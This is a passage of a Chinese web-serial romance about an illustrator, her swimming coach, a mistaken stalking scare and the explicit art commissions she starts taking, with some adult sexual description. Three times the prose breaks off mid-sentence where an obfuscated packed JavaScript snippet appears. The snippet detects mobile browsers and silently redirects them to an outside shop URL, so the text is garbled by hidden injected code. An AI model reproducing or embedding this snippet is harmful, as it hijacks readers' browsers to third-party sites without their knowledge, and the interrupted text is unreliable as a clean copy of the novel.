网上冲浪多年的她摆出一副老成的表情:“你也不想你工作的地方被打上什么不好的标签吧。” 宋柏无言。 但总觉得这话听起来怪怪的。 “好啦,快点上课,你还要耽误多少时间,小心我举报你。” 或许是宋柏长久以来教的都是些小朋友,韩岁这段时间上课总觉得他拿自己当小朋友哄。 一节课后,韩岁洗完澡归还手环,宋柏坐在厅中,低垂着脑袋把玩手机,听见声,抬头,视线精准捕捉,随后将手机揣进兜里,起身。 他是在等自己? 韩岁挎着包往外走,玻璃推拉门上映出男人紧跟其后的倒影,有点紧身的一款上衣,很好地将他宽肩窄腰的身材勾勒出来,和她身影叠在一起时,完全看不出还有第二个人的存在。 她发呆地朝着倒影看,手握住推拉门一动不动,浑然不知门对面来了人。 后背突然撞上男人硬挺的胸膛,双脚离地,手自然而然地松开门把手,视角一下发生变化,游离的心思被拉扯回来,她看着从外头进入的人目瞪口呆地看她......以及她身后的男人。 “不,不好意思,我刚刚一直在看手机,没注意门后有人。” 他手忙脚乱地将手机揣进兜里,脑袋连着点了好几下,礼貌极了。 韩岁还在惊讶中没有回过神来,头顶上传来声音,男人胸腔震动,引得她后背共颤。 “下次小心点。” “好,好......” 韩岁还有闲工夫乱想:果然,男人身上那些肌肉,发力时,真的很硬。 撞得她肩胛骨都有些疼了。 出了游泳馆,韩岁灵光一闪。 宋柏既然有如此健硕的身材,又是游泳教练,想来对肩酸腰痛有一套应付的妙招,说不准能让他教上一教。 电动车钥匙按上一按,解锁,滴嘟一声,韩岁坐上,手往坐垫后一敲,头也不回道:“要送你回家吗?” 眼前的电动车饱经风霜,犄角旮旯里攒着厚重的灰尘,但尾端依旧贴着个蝴蝶结装饰品,也并不太干净,看上去像是电动车刚买回来的时候简单装饰过,后来开久了就随意了起来。 后座剩余空间并不宽敞,坐他应能勉强塞下。 宋柏瞥了眼不远处的机车,十分坦荡地抛下,长腿一跨上了电动车:“那就谢谢你了。” 机车头盔往往将脑袋包裹严实,很难有机会嗅闻夜晚的栖城是什么样的味道。 宋柏第一次闻,就闻到了混杂着柠檬香味的晚风。 韩岁披散的长发在风中作乱地吹,长度足以甩到他脸,有些还能伸进他口腔里连通牙齿舌头搅弄一番。 宋柏实在没招,将她头发拢在一起,一把手抓住,虚扶着她肩,见她分心回头便快速解释:“你头发吹了我一脸。” 韩岁难得不好意思起来:“刚洗完头发就没戴头盔,忘记扎了,你先忍忍。” 眼看快到地方,韩岁还记得自己的目的,长话短说:“我最近腰疼,我看网上说游泳可以缓解腰痛,但我这半天学不会,想知道还有什么其他办法缓解吗?” “腰痛?” “嗯,我毕业后就回了老家画稿,就是在网上接单画画,长期坐着,又低着头,不仅仅是腰痛,偶尔肩膀也会疼。哦,画得多了还有腱鞘炎。” 一通话下来,年轻人常有的毛病她这是全都不落。 半晌没得到答复,韩岁借着后视镜瞧了眼,宋柏拧起的眉毛像极了毛毛虫,好像她已经半身不遂,马上就要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165895|196713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入土了一样。 “说起来好像……是有点要素过多哈……”韩岁心想这不是没办法嘛,既然是工作,哪能撂担子不干了,除去画稿,她也不知道自己还能去干什么。 总不能彻底躺平在家啃老吧。 岂不是更要被逼着嫁人生子了? 韩岁光是想想这个可能后背就一阵发凉,全身胆颤。 还是趁着年轻,多赚点钱以后把自己送去养老院好了。 她物欲低,衣服买得少,毕竟不怎么出门,更别说化妆品这类,近两年下来最高的开销,就是最近办下的游泳卡了。 想来这钱既然是给宋柏赚的,那不如借此机会多薅一点:“所以你有没有办法?” “吊单杠。” “就这么简单?” 宋柏点头:“吊单杠并不简单,刚开始你可能挂上去不到两秒就得掉下来。” 韩岁不信邪。 那小时候也是跟宋柏在外面浪过一阵子的,以前的一些小公园里供老人锻炼身体的设施不少,她虽然做不到跟宋柏他们一群人那样从一端吊到另一端去,但勉强滑动两三根杆子还是可行的。 现在应该没有小时候脆皮吧? 然而等到宋柏将她领至对面小区内的单杠下方时,韩岁抬了抬头。 怎么感觉,她好像挂都挂不上去? 小区不允许外来电动车从正门进出,跟着宋柏指挥进入停车场,停在A栋1单元负一层,再坐电梯上行,出单元楼没多远就是一座简单的公园。 或许算不上公园,一圈不知道什么品种的树围在一起,中间的空地零零散散安装了一些装置,有老人摇着蒲扇带小朋友玩乐。 单杠是唯一没有人接触的设备,宋柏施施然将她领过去:“蹦一下握住。” 她以前怎么不觉得这些有这么高? 难道她越长大还缩个子了? 起跳、握住、荡出、脱手、摔屁股。 这是韩岁为自己设想的最坏打算。 她居然有些紧张:“那我要是没抓住,你记得接我一下。” 宋柏:“……不是说简单?” “别管,你只需要随时准备接我。” “哥哥你就把我托上去一下嘛……” 尚还稚嫩的声音来自刚六年级毕业的韩岁。 鼻尖沁着汗珠,脸蛋遭太阳日晒红彤彤的,她已经在旁边观望许久了,终于鼓足勇气,走过来想要尝试一下。 走到了底下才发现根本没有她在远处看起来这么容易上去,男孩子个比她高,弹跳力也是,轻轻松松的,让她以为她也可以。 没有别人助力,她自己肯定上不去,她想退缩了。 “你上不上啊,不上就别挡道。” 爬了一轮的人又来到了这边,想再继续,见她占着地方半天不出发,心性一上来抬起胳膊肘推搡了她一下。 韩岁重心不稳摔在沙坑里,冒了汗的胳膊瞬间黏满沙粒。 小小的人儿没有不开心,也没有哭脸,只是站起来挪了个位置,低头拍身上的沙子,嘴里嘟囔着:“弄不干净回家就要挨骂了……” 女孩被人说了反而梗着一口气,说什么也要上去,执拗地把宋柏拉过来,指着上面的杆子,撒娇地喊着哥哥。 宋柏还记得那天的情形,那个推她的小孩被他抓过来道歉,待周围一圈的人都走干净了他才开始琢磨怎么将人送上去。 那天韩岁穿的是白色的小裙子。 8. Chapter 08 许久没有运动,游泳也才刚刚入门没多久的韩岁摸不准自己起跳之后是否真的能挂上杆子。 手摆了好几下,做足了准备,腿倒是半晌没动。 “你垫个脚就能搭上的高度,至于做这么大准备?”宋柏嘲讽她是不是要去参加什么小区单杠比赛。 韩岁没好意思说自己是怕脱手,重心不稳摔地上,“嘁”了一声,试探地垫了垫脚,指尖刚好接触到侧面,稍稍施加向上的劲,垫脚垫到极限,将手调整好角度握住。 收脚,落地。 只在眨眼之间。 韩岁看着自己有些发红的手心,震惊地说不出话来。 “我虚到这种程度了吗?”她瞪大眼睛,形同机器人般缓缓往右侧挪动头颅,不可置信地问,试图从宋柏口中得到一句安慰话。 “嗯。”宋柏喉腔里轻溢出短促的一声音调,点头。 韩岁备受打击,不可置信,再次垫脚握上杆子,依旧不敌一秒就掉落。 这不对吧? “你是不是逗我呢?刚开始大家应该都这样吧?我也……不至于这么虚弱吧?!” 韩岁是在问他,也是在问自己,说着就要掏出手机去小某书上找能够共情自己的人,没来得及,手被一股温热盖住,往下推,手指脱力,手机掉回兜里。 她回神,对上双褐色瞳孔,宋柏背对着路灯,昏暗光线被遮挡,落不进他眼睛,无法窥探情绪。树叶影影绰绰,平添几分静寂,她手背似有什么在跳动。 是他的脉搏。 韩岁哑声:“干,干嘛?” 贴这么近。 他停顿片刻,目光巡视,像是要用目光将她面上每一个微表情都精准捕捉。 韩岁眼睛狂眨,心跳如擂鼓。 他会听到吗?心跳的声音好像有点太大了……该死的心脏快停下来…… 哦,不能停下,停下来会死人的。 濒死的鱼儿终于再度游入大海,获得喘息。 宋柏后退,笑了笑:“你放心,大家都这样,刚开始吊单杠都不能坚持多久,等手心出一层薄薄的茧,才能算进步。” 韩岁转头就把他异样的举动抛至脑后,了然道:“原来这样,所以你刚刚逗我玩呢?我还以为我真虚弱到这种程度了。” “但你确实长期以往缺乏锻炼,虚是真的虚。” 韩岁呛声:“你才虚。” ……好奇怪的对话。 宋柏没有让这话题揭过去的意思,又一步步抵进,戏谑道:“你怎么知道我虚不虚?” 韩岁的脸轰然变红。 她好歹也是赏阅过无数“珍宝”的单身女性,再加上某些单主会提一些另类的要求,起初还是纯白无暇的她被迫学了不少知识,现在已经是一点就通的小黄人了。 这……宋柏怎么公然说这些! “你要不要脸?”韩岁手一把按在他胸膛上,有点软,没忍住抓了一把,后知后觉意识到自己抓的是什么的时候已经来不及了。 她对上宋柏愕然的一双眼,急了,用吃奶的劲把他推开,没再看他一眼,跑得比兔子还快。 不过一分钟,宋柏手机里那个颜色瞩目的app发来了新的消息。 【我问你,如果一个男生问你怎么知道他虚不虚,是什么意思?另外,如果我不小心抓了一个男生的胸,我又该怎么办?】 宋柏看着这句话猛然笑出了声。 肩膀抖动,笑得整个人弯下腰,差点断气。 “你真是……可爱。” 拿AI当百度使? 宋柏很快正色,清了清嗓,尽力模仿韩岁发的初始人设,发送:【你是一个有男友的人了,为什么摸其他男人的胸,摸摸我的吧,我的更好摸。】 韩岁没其他人可找,边跑边想,最后还是点开BIUBIU发了消息过去。 说起来惭愧,韩岁好友不多,大学四年的室友算不上关系密切,毕业后分道扬镳,起初她们还会在四人的大学群里聊上一聊,时间过得久了,大家身处不同的地方,少了聊天的话题,关系也随之减淡。 有时候能在朋友圈刷到初高中好友结婚生子的消息,请帖发不到她头上,她感慨一句一样的年龄有着完全不一样的生活轨迹,也不会和他们产生多余的交集。 都不如她与网友或者单主聊天来得勤快。 BIUBIU给她开辟了一条新的聊天模式,她沉沦,并甘之如饴。 能无条件接收你所有情绪的垃圾桶,还会做出反馈,简直是社会发展、时代进步诞生出来的最伟大产物。 韩岁慢步走回家,隔条马路的距离被她走成拉锯战,停停走走,停时作思考状,走时又显得有些焦急,似是在等什么人回复消息。 德泽小区没有墙体环绕,算是个全开放的零散居民楼,一楼大多开着个人经营的商铺,贩卖各色各样的东西,到了夜间没什么生意了,就经常会传来麻将声响,显得热闹极了。 韩岁路过时听到声响总会往里头瞧瞧,家楼下的王大妈常常在里头摸牌,但她今晚显然分不出心神。 就连王大妈叫她名字,也没听见。 “哎,小岁!这孩子,耳朵长在脑袋上咋听不见人话。”王大妈在旁边看牌,随便往外看看就瞧着楼上那孩子低着头、不看路地往前走。 她摇着蒲扇往外走,声音洪亮:“小岁!” “哎!”韩岁条件反射应声,脑子后知后觉被吓了一激灵,手机差点掉地上,捂着心脏回神,就见王大妈已经站在了她身后,“哎哟,王妈您喊我啊。吓死我了。” “吓什么吓,我都喊你好几声了。” 韩岁讪讪地笑:“刚没听见呢。” “手机里面看什么呢,看这么入迷,是不是谈恋爱了?” “……” 韩岁想着本来就要伪装自己谈恋爱的假象,就干脆认了。 也不点头,纯笑,懂得都懂。 王大妈长着一张和善的脸,见人都是副笑眯眯的模样,说是靠着这副令人捉摸不透的表情在牌桌上吃了别人不少钱,现在却反常地板着张脸,突然往她身后深深地看了眼,搂着她肩膀往店里走了走,压低声音:“我刚刚瞧见,你身后跟着个人呢!” 听到这话,韩岁后背顿起一阵寒意,不敢回头看,只能僵着脖子问:“现在呢......现在他还在吗?你这样看着他会不会被发现?” 紧张起来,话都变多了,语无伦次,好似下一秒就要流出眼泪来。 独居女性最担心的事情还是发生了,韩岁手指都在颤栗,脑海里开始思考如果现在和父母和好,并搬回家住一段时间有没有可能。 “我喊你的那会就走啦,王妈就是想问问你知不知道后面有人。” 王大妈一句话直接将事情拉到一个更诡异的高度。 “我,我当然不知道我身后有人了......” “那你得小心了,这段时间还是不要一个人晚上在外面走。” “好……好。那王妈我等会跟你一起回去吧,我有点害怕。” 王大妈干脆地同牌友招呼一声:“今晚不打了,明晚再来啊。” “走这么快!”有人问,但忙着打牌,也不见得有多关心,少一个轮换的人照样能打成。 韩岁转而想起自己的电动车,还停在那边的小区呢,都怪宋柏,要是她开电动车回来,就不会被别人盯上了,而她还得找时间去把电动车给接回来。 “还回不回家了?”王大妈走出去半米,手往回捞,没捞着,原地跺脚,“你还是想陪着我这个大妈打麻将?” 韩岁立马挂上笑容,过去扶着人,格外谄媚:“陪您打麻将我也愿意嘛。” “油嘴滑舌。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165896|196713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好了,就到这,你自己上去吧,我年纪大就不陪你多爬一层楼了。”王大妈掏出钥匙开门,里一层,外一层。 老小区唯一的好处可能就是设立安全门了。 “好嘞,没事,就一层楼,我自己上去就好。”韩岁说。 “好,最近如果再遇到什么奇怪的人,就和大娘说啊。”王大妈热心肠。 “嗯好。”韩岁点了点头,挥手,“下次带好吃的来找您。” 眼见门合上,韩岁就以闪电般的速度冲上楼,再迅速开门关门,一气呵成。 心跳不止,还是忍不住后怕。 那人会继续跟吗?会不会已经知道她是哪一栋楼了? 韩岁联想到网上看到过的观察手段,没有急于开灯,用手机点着手电筒,摸进浴室洗了个澡。 平常喜欢在浴室冲上大半个小时,这晚缩短到十分钟,速战速决,可能水也没擦干,裹上睡衣时有些黏人。 韩岁不知道这件事能找谁解决,哪怕回家住,也依旧会有隐患,总不能这辈子都不一个人出门了吧。 刑事发生时间从不在乎白天还是黑夜,只要那人想。 她裹着被子翻来覆去地思考,最终决定明天去拿电动车的时候,拉宋柏陪自己查一下监控,如果能有明确的证据证明那人是在跟踪自己,就报警! 下了决心的韩岁很快跟宋柏发去消息:【我电动车在你们小区忘记拿了,你明天能不能来接我过去拿电动车?】 这个请求有点突然,但韩岁实在是没有其他法子了。 【你是公主?还得我亲自上门来请。】 韩岁凝着对面发过来的信息,突然怒火中烧,打了通电话过去,一经接通就开始输出:“要不是你在那说些令人误解的话,我会连电动车都不去拿就自己一个人跑回家吗?!我开了电动车就不会被人跟踪了!让你来接我一下怎么了?!我现在都不敢出门了!” “被跟踪?”宋柏语气急促,“什么时候?在哪里发现的?” 韩岁气喘吁吁,拉高分贝说了这么一长串话耗尽了她全部的心神,还没缓过神来,吐着又长又粗的呼吸,没开口。 “行,我明天来接你,你告诉我是在哪里遇见的,我陪你去查监控。” 宋柏难得温柔,极尽耐心,一字一句地询问、关怀,韩岁却一句都没有听进去。 突如其来的关心打乱她全部心神,酸涩的苦意瞬间从鼻腔中翻涌而出,无声无息滑下的泪打湿半边枕头。 又这样……一听到别人关心就忍不住流泪……明明根本不想哭的…… “喂,还在听吗?要不要我现在来找你?” 韩岁再开口时带着藏不住的鼻音:“不用,我已经躺下了。” 那边带起细碎的声响,听见她这句话后骤然消失,呼吸声透过话筒传递,耳机贴着耳廓仿佛他真的在自己身边一样,她感到前所未有的安宁与平静。 她说:“谢谢,明天我再联系你。” “好……”他似乎有所留恋,始终没有挂电话,过了许久,才试探开口,“你睡了吗?” 回答他的是带着些许厚重的呼吸声。 深陷被窝的人眼睫还挂着晶莹,鼻尖发红,秀眉拧出弧度,手机摊平在枕头上,覆盖湿润的枕套,静默的卧室里团着一隅月光,唯有不平稳的呼吸穿透空气、翻阅围墙,抵达数百米外。 人哭过后的鼻子往往不通气,宋柏沉默地放下手机,任由电话继续,躺上床,回想晚上接收到BIUBIU的消息后,跟上去送她回家的全程…… 瞧见她和一个熟悉的大妈搭话,他就放心地走了,除此之外好像并没有看到可疑的人。 难道那个人恰巧是他没有继续看的最后那一段路出现的? 宋柏暗暗揣摩,想着明天可以着重排查那段区域的监控,就是不知道那一带的商户有没有安装…… 9. Chapter 09 “你确定......你是在这个地方看见的那人?”宋柏紧张的情绪褪得一干二净,转而涌上难以言喻的难堪与欲言又止。 不是因为别的,正是因为他昨晚最后停留的地点恰巧就是商铺右斜对面的灌木丛后。 王大妈作为目击证人,同韩岁一起来到商铺前,站在昨晚站着的地方,复原同样的姿势和角度,激情愤慨地将昨晚的情形和跟踪韩岁那人的大概轮廓都描述了一遍。 韩岁听着听着就觉得王大妈在添油加醋,夸张了不少,说那人人高马大龇牙咧嘴的。 那晚的夜色,她还能看见这么远的人脸上是什么表情? 但这些都不重要,重要的是这家商铺刚好安了监控! “你是不知道,当时小岁的脸瞬间就白了,我抓住她的手叫她别回头,那肯定不能让坏人发现我们已经发现了他是不是?我当时麻将也不打了,连忙把人送了回去。说起来,这家的监控,还是我让老李安的,他家隔三差五地丢东西……” 王大妈第一次见韩岁身边出现男生,见这小伙子长得不错,块头也大,那肌肉鼓鼓囊囊的,看上去一拳能干翻一个跟踪狂,遂很放心地将这件事交给他去处理。 而且啊,这小伙子看韩岁的眼神明显不一样,她放心! 不过……小伙子这身型倒是和昨天她看见的那人有点相像。 看来那人也有这样的身材,要真哪天把韩岁拦了下来,她肯定是没有招架之力的啊! 王大妈心里百转千回,没等人开口,便又唠叨:“小伙子你可要好好照顾小岁哦,你是她的第一个男朋友吧,我可从来没见过小岁身边有什么男生,你要照顾好她,尤其是大晚上的……” 韩岁听着有点头大,在这里站半天了,还没进入正事。 今天的王大妈格外啰嗦,她不得不摆手解释:“他不是我男朋友,是我邻居。” 她要不解释,流言不到一小时就能遍布整个小区。 到时候她认识的、不认识的,见到她都得来上一句“小岁有男朋友了啊”。 韩岁十分坚信,并避之不及。 王大妈的语气听上去颇为可惜:“啊……原来不是男朋友啊。” 只见她表情倏而变换,小步过去拍拍宋柏的肩,询问:“那小伙子有没有女朋友哇?” 得了否定答复后冲韩岁欣喜道:“那你们可以发展成男女朋友关系嘛,还是青梅竹马,门当户对知根知底的。” 韩岁:“……” 没招了。 正事被中断,韩岁屡屡开口,都被打回,索性闭眼,叹了口气。 宋柏瞥她一眼,动作缓慢靠过去,拽她衣摆,等人转过来,才缓缓开口:“昨天你们看到的那个人,应该是我。” 王大妈啰嗦的话戛然而止,韩岁平静无波的眼眸掀起涟漪。 两人同时不可置信:“是你?” 宋柏只好将昨晚韩岁走了之后的心理活动简单描述了一下,略过冒充AI男友这事,表明自己当时确实是担心她一个人回家所以才跟了段路,见到她和熟人打招呼才放心离开。 “我也没想到大妈您看的那一眼,刚好造成这么大的误会。” 两人沉默,努力消耗这一大长串话。 所以她一晚上的担心忧虑只是宋柏无意间造成的乌龙? “我就说你身型跟昨晚那人有点像,原来还真的是你啊......你说你要送人回家就光明正大地送,跟个贼一样躲那么远跟踪,吓死人了嘞!” 宋柏也没想到自己好心办了坏事:“这不是昨晚把人气走了没好意思光明正大地送。” 这个事实令韩岁松了口气,没有人在跟踪她,也没有人对她意图实施不轨之事,她依旧可以在这片小区自在地行走,不用担惊受怕,也不用为此搬回家里住。 “既然没事我就走了,家里老头还等着我买早餐回去呢。”王大妈手背在身后,眼睛辗转两人之间,她确信,自己一定瞅出了点什么,不欲多说,很快离去,背影深藏功与名。 韩岁的心情瞬间多云转晴,一路哼着小曲去宋柏小区停车场接电动车,钥匙插/入,滴嘟一声,倒退,转弯,看到宋柏插着裤兜站在她右后方她才恍然想起来这号人物似的张开嘴:“你怎么还没走?” “王大妈让我以后多送你。” “她说什么你就做什么?” 宋柏挑眉,见她戴上头盔拉紧安全扣,答非所问:“你要出去?” “没啊,我回家。”韩岁见他盯着头盔,解释,“交通安全,从我做起。” 宋柏没忘昨天从游泳馆回来时秀发胡乱拍在脸上的惨痛回忆。 韩岁一眼洞穿他所想,摆手:“我解释过了,游泳完之后洗了头,头盔闷着不好。” “我没说什么。” “我知道你在想什么。” “......” 乌龙一事过后,韩岁每次游泳课回家电动车后座都会多上一个人,狗皮膏药似的,甩也甩不掉。 话稍说重一点这人就会摆出王大妈来,更别提人家住在她正正楼下,少不了打照面,两方会面次数多了,王大妈那种“我懂我懂”的眼神令她无言许久。 一个多月下来,韩岁跟宋柏上了五节一对一,再加上平常她隔一天就去练习游泳,韩岁现在已经能够靠蛙泳游二十五米全程了,只是稍微有点喘,换气不太自如。 等再多练习几次,多来回几趟不成问题。 但当生活过得太美好时,现实总会给人上点压力。 没错,她爆单了。 韩岁在小某书上有一个专门分享自己绘画作品的账号,没单的时候就会画自己的oc,昨晚新更新的那条不知道怎么就火了,一夜过去竟达到了万以上的点赞,评论私信纷纷爆满。 在帖子底下评论的大多是表达对她oc的喜爱,而摸到后台私信来的都是问她接稿排期的。 韩岁不敢说她刚清完上一批稿,正准备休息几天,这会计划被打破,滔天的财富朝她涌来,她担心自己接不住啊! 不得已发了条声明,表示自己后台私信已爆,她将按照私信的时间顺序一一回复,不一定能接上每一个人的单子,还请见谅等。 没想到很快得到了回复,除个别浑水摸鱼挑刺的人,大多评论都是一副嗷嗷待哺说等得起的小可爱。 韩岁洗个澡,点上前段时间网购的熏香,橘子味,适合夏天,身体酥软地靠上刚毕业就花重金购置的人体工学椅,用ipad登录小某书,连接蓝牙键盘,点进后台一一回复——这样能避免低头玩手机导致颈椎损伤。 韩岁二十出头的年纪已经开始养生,刷某音被推荐的泡脚桶还没到货,不然现在就得尝尝鲜。 只是连着查看完几条私信后,她逐渐发现这些单主的约稿方向有点不对劲,不像是小某书平台能不打码放出的。 韩岁和最早私信她的那位联系:【那个,我想问一下,你是从哪里刷到我的呀?】 那边很快回复:【劳斯你不知道吧,你在x上火了!有单主po了一张她约的稿子,那性张力,简直就在我的xp上跳舞,那条帖子底下问的人太多,所以那个姐妹就把劳斯的小某书账号发了出来,我就是从那边过来的。】 【可以麻烦截张图给我看看吗?】 【好呀。[图片]】 很好,是那张她在单主用金钱诱惑下,画下的唯一一张大尺度稿件,国内平台放不出的程度,居然在x上一炮成名? 韩岁不可置信,退出这条私信往上一条条翻,点进去粗略浏览。 嗯,她完了,后台私信基本都是来约黄/图的。 她辛辛苦苦经营的名声!就这么一败涂地! 正当她思考自己要不要为了金钱而折腰之时,那位单主又发来了信息—— 【我知道的!画黄图要加钱嘛,那位姐妹提前声明了,我是接受了才来找劳斯的!】 画! 韩岁不假思索,画的就是黄图! 画什么不是画?无非不就是少点布料的事。 工作号瞬间涌入99+条好友申请,韩岁一一通过,给在小某书上沟通好的单主排了序、备注好交稿时间。 但她对搞/黄色的经验不太充足,思来想去,决定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165897|196713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去找那位“始作俑者”沟通沟通,“增进”一下感情。 【宝宝,你的一条帖子让我今年甚至明年都排满了单^_^】 我的微笑不是真正的微笑。 【但是看在我赚了大钱的份上,我决定请你喝杯奶茶[亲亲]】 对方很快回信:【奶茶就不必了,请我吃饭吧。没错,就是你想的那样,我要来栖城啦!】 什,什么? 一下进军到网友面基吗?不行啊,她还没做好这个准备,虽然在互联网上什么该聊的不该聊的都聊了,所以特意在开稿前找她取取经,但怎么一下就拐到另一个方向去了? 韩岁脑子里百转千回,手先一步发了回信:【什么时候?】 【明天下午两点的高铁,发个私会地址过来,我打车去。】 韩岁家里只停有一辆电动车,尽不了地主之谊,无法前去高铁站接她,在栖城她也没怎么玩过,不知道哪些地方好,只好连忙上小某书急救一下,最后定了个比较安静漂亮的咖啡厅。 从翻翻的朋友圈来看,她平常比较喜欢打卡拍照,这里应该会很适合。 地址发去,韩岁才恍然想起自己找她的最初目的。 【你之前不是给我推荐过一些漫画?能不能再推荐一点,我想去学习一下,最近全都是来找我画黄/图的,我经验可以说是为零呀。】 绕是她从小到大博览群书,从小说到漫画,无一不是纯爱自然水到渠成的恋爱,家长老师来翻看一下都不会有所作为的风格,哪有一上来就大动干戈的。 【当初给你推荐了那么多,你看了几个?】 【就…一个吧。哎呀,那些都太粗暴了,一点都没有恋爱的氛围,这真是画给女生看的?我看这些哪里能学会,单主们可不要这种。】 【你要tl是吧?行,等会,马上就给你列清单来。】 tl?韩岁不懂,等待的间隙里去搜了搜,了然。 对,她就是要这种! 眼看[翻翻]变成[正在输入中……]又到[翻翻],反反复复,韩岁盯着翻翻两个字,想起自打和她加上了好友之后,两人从未交换过姓名。 起初她们只是沟通商稿,她给过第一版草稿后,翻翻表示缺少一点性张力,不够暧昧,没有达到她想要的感觉。 于是韩岁虚心请教,未曾想翻翻甩了个链接过来,叫她去看看,点进去看的这一眼,手比脑子先一步反应,手机扔出去老远,堪堪停在床尾,差点摔在地板上。 这,这,她哪里见过这样露骨的画面—— 女人的腿搭在男人肩膀上,男人指关节粗大的手紧扣住女人肉感丰满的大腿,指节深陷其中,在大腿上留下红痕,画面中看不见男人的脸,只见男人粗短的头发藏于女人大腿之间,而女人上身紧绷向上拱起,满脸潮红,一手抓着男人后脑勺的头发,一手摊开紧抓床单…… 再多的细节她就没看了,脸羞红,脑袋冒烟,心跳也一并加快,扑通扑通难以平息。 翻翻让她没事做的时候就多看看,画技定然有所长进。 长进确实是长进了,只是长进的方向多少带了点颜色。 自那以后,韩岁每天都能和翻翻聊上几句,发展成了网友关系,如今要线下面基,怪叫人紧张的。 翻翻掏出她的珍藏,又分享了个链接过来,往下,是一长串带着书名号的文字,目测超过十部。 【你进这个网站搜就行,不过这个链接经常被封,哪天进不去了再来找我哈,我现在有事,明天见宝宝。】 人急急忙忙地来,火急火燎地走。 留下韩岁看着这些信息无所适从。 翻翻这次发过来的书名看上去比上次要清新不少,倒挺像某小说网站里的书名,跟以前发过来的那几个不一样。 先……看一下第一个? 韩岁复制链接进检索器,网站加载很慢,底部进度条按秒游走,最后卡了大概十秒,空白页面逐渐弹出内容,突然,一个偌大的弹窗弹出,好似快要怼到她脸上—— 这次不是漫画,而是实打实的肉/体。 还是动态图。 10. Chapter 10 辣眼睛!简直辣眼睛! 这是正经网站吗?不是吧?! 令人叹为观止的弹窗小广告,往上紧密排列,往下又是一排,甚至还是动态的! 韩岁缓了足足几分钟有余,大脑里还在反复重映那些动图,她深吸一口气,紧憋,颤抖着手点击x,但那按键实在是太小了,拇指按上去的那一刻,网站光速般跳出来新的页面。 她哪里见过这种画面,切换网站继续叉小广告,重复了不知道多少次才成功。 韩岁有些不安,待询问翻翻进入这些网站会不会被警察叔叔打电话,得到否定答案之后才心安理得看起来。 每切换一章都有新的弹窗,起初韩岁都要叉掉,次数多了不耐烦起来,也就忍受下去了。 这部漫画女主漂亮、男主帅气、画风不错,剧情嘛......有待商榷,毕竟最终目的是为了xx,细节经不起推敲。 剧情发展很快,不过五章的功夫,两人已经贴在一起,抽丝剥茧,韩岁起初还有些旖旎心思,没过多久就被现实打回,开始研究起了人体动作,在这样那样进入的姿势下肌肉是怎样走势的,有些值得学习的地方会顺手截张屏。 用不了多久,手机相册里堆叠了不知道多少张不堪入目的照片。 看到一半,灵感顿时如洪水倾泻般将她浇了个彻底,止也止不住。 ipad就在桌面上,韩岁熟练切入绘画软件,根据单主的人物细节要求,结合刚学会的姿势,一张草稿很快成型,来不及发给单主,又很快开了另外的草稿。 最终和单主的对话框里一共发了四个不同动作和角度的草稿图,此时已过凌晨三点,发出去的图片还没全部加载出,韩岁就困得栽倒在了床上。 - 一个浪打了过来,她却挪不动身体,无助地盯着浪花拍在她脚踝处,一个接一个。浪越来越高,咸湿的海水逐渐将她吞没,衣裳黏着皮肤,焦躁的热,难以呼吸的黏,令人敏感的触碰。 被高高抬起又落下,最后湿漉漉地惊醒。 韩岁第一次做这样的梦,恍然间似乎还有一张脸,在轻唤她的名字,若即若离,她想去追,身体却动不了。 醒来后浑身都是湿的,才后知后觉自己做的是春/梦? 据说春/梦是看不见对方的脸的。 恰好符合她现在的情况。 “这一定是看漫画看多了……”韩岁拍了拍自己的脸,拿起衣服去浴室冲了个澡,顺手把内裤也搓了。 翻翻是下午两点的高铁,两者到咖啡厅的时间差不多,她将时间也定在两点,约莫能比她提前十分钟到,过去后点上咖啡和甜品,时间差不多。 韩岁下楼买了份小笼包回来垫肚子,没吃太饱,担心对方点得多,两人吃不完,空着肚子去的话她还能扫个尾。 全职在家画稿的日子鲜少有变化,这会看看时间,已经到了十月的尾声。 哪怕临近十一月,栖城依旧火热,下午两点,正是日头最旺的时候,韩岁思索再三没有选择骑小电动,用没用过的打车软件,搭配优惠券打了辆车,到了后找个周围环境漂亮一点的位置落座。 将桌面上的二维码拍照发给翻翻。 【你看看想吃点什么?可以直接点。】 【好,我大概还有十五分钟到。】 点完餐后,切回和翻翻的聊天记录,收到了一张ootd的图。 翻翻坐在的士内,镜头从右上方往下扫射,上身是件浅蓝色细格纹无袖,下身是灰蓝色花苞裙,没有拍脸。 【等会我一进门你就知道是我了。】 韩岁紧张,但不说。 她还从来没有跟网友面基过。 小城市的咖啡厅不敌大城市装潢靓丽引无数网友纷至沓来,这家店没在网络上做什么宣传,但厅内依旧有不少人,她们看上去都年纪轻轻的,看眼时间韩岁才惊觉又是一个周末。 